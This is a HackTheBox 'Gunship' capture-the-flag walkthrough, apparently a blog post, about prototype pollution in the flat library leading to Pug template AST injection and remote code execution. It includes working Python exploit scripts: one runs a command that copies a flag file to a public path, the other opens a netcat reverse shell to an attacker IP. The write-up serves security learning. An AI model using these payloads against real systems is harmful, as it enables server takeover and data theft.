HackTheBox: Gunship — WalkThrough
Today, we will be doing Gunship from HackTheBox which is labeled as an easy-level Web challenge that aims at teaching AST injection in javascript template engines through prototype pollution, leading to RCE. Without further ado, let’s connect to our HTB network and start hacking!
The website is simple, with a single form field asking, “Who’s your favourite artist?”
Let’s test the field with a simple test input.
If we provide the full name of the artist, it responds with, “Hello guest, thank you for letting us know!”
Analyzing server-side implementation
Once we send the request from the browser input, it is submitted to the /api/submit
endpoint, which eventually uses the unflatten
method from the flat
library to extract the artist field. If this field contains a predefined artist name, a simple response acknowledging the user is sent. The response message is a compiled Pug template, using the pug.compile
function, which says, “Hello #{user}, thank you for letting us know!” where {user}
is replaced with the value ‘guest’. Otherwise, if the artist name doesn’t match, the user is presented with the message: “Please provide us with the full name of an existing member.”
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { artist } = unflatten(req.body);
if (artist.name.includes('Haigh') || artist.name.includes('Westaway') || artist.name.includes('Gingell')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user: 'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the full name of an existing member.'
});
}
});
module.exports = router;
Looking at the code above, we can identify const { artist } = unflatten(req.body);
as the sink, where user-controlled input reaches and gets unflattened. Upon reviewing the package.json file, we can see that the flat
version 5.0.0 is being used. After researching this package, we find that versions 5.0.0-5.0.2 are vulnerable to Prototype Pollution. More information on this vulnerability can be found here.
{
"name": "gunship",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"start": "node index.js",
"dev": "nodemon .",
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"authors": [
"makelaris",
"makelarisjr"
],
"dependencies": {
"express": "^4.17.1",
"flat": "5.0.0",
"pug": "^3.0.0"
}
}
Exploitation
We sent a POST request to the target application with a payload containing a property __proto__.block
, which included JavaScript code designed to execute on the server. This polluted the prototype of the object, allowing us to inject harmful behavior into the application.
import requests
TARGET_URL = "http://94.237.54.42:44467"
r = requests.post(
TARGET_URL + "/api/submit",
json={
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('cat /app/flag > /app/static/flag').toString())",
},
},
)
print(requests.get(TARGET_URL + "/static/flag").text)
The malicious block.line
property contained a command that executed on the server. Specifically, it used Node.js’s child_process
module to run a command that read a sensitive file (/app/flag
) and wrote its contents to a publicly accessible location (/app/static/flag
).
After the code was executed, we sent a GET request to retrieve the flag from the /static/flag
endpoint, which was now accessible due to the earlier command. Moreover we can modify this payload to gain remote shell the the server.
import requests
TARGET_URL = "http://94.237.54.42:44467"
r = requests.post(
TARGET_URL + "/api/submit",
json={
"artist.name": "Haigh",
"__proto__.block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('nc <ATTACKER_IP> 9001 -e /bin/ash').toString())",
},
},
)
Note: Replace <ATTACKER_IP> with your machine's IP address.
This payload will give us a reverse shell by using netcat to connect back to the attacker’s machine on port 9001, providing a shell.
Simple yet interesting challenge. Happy Hacking!!!
Founder of cybersecnerds.com. Cybersecurity professional with 3+ years experience in offensive web security, cloud security and building systems.
I am a Linux envagelist and highly interested in source-code auditing. You will find me reading InfoSec blogs most of the time.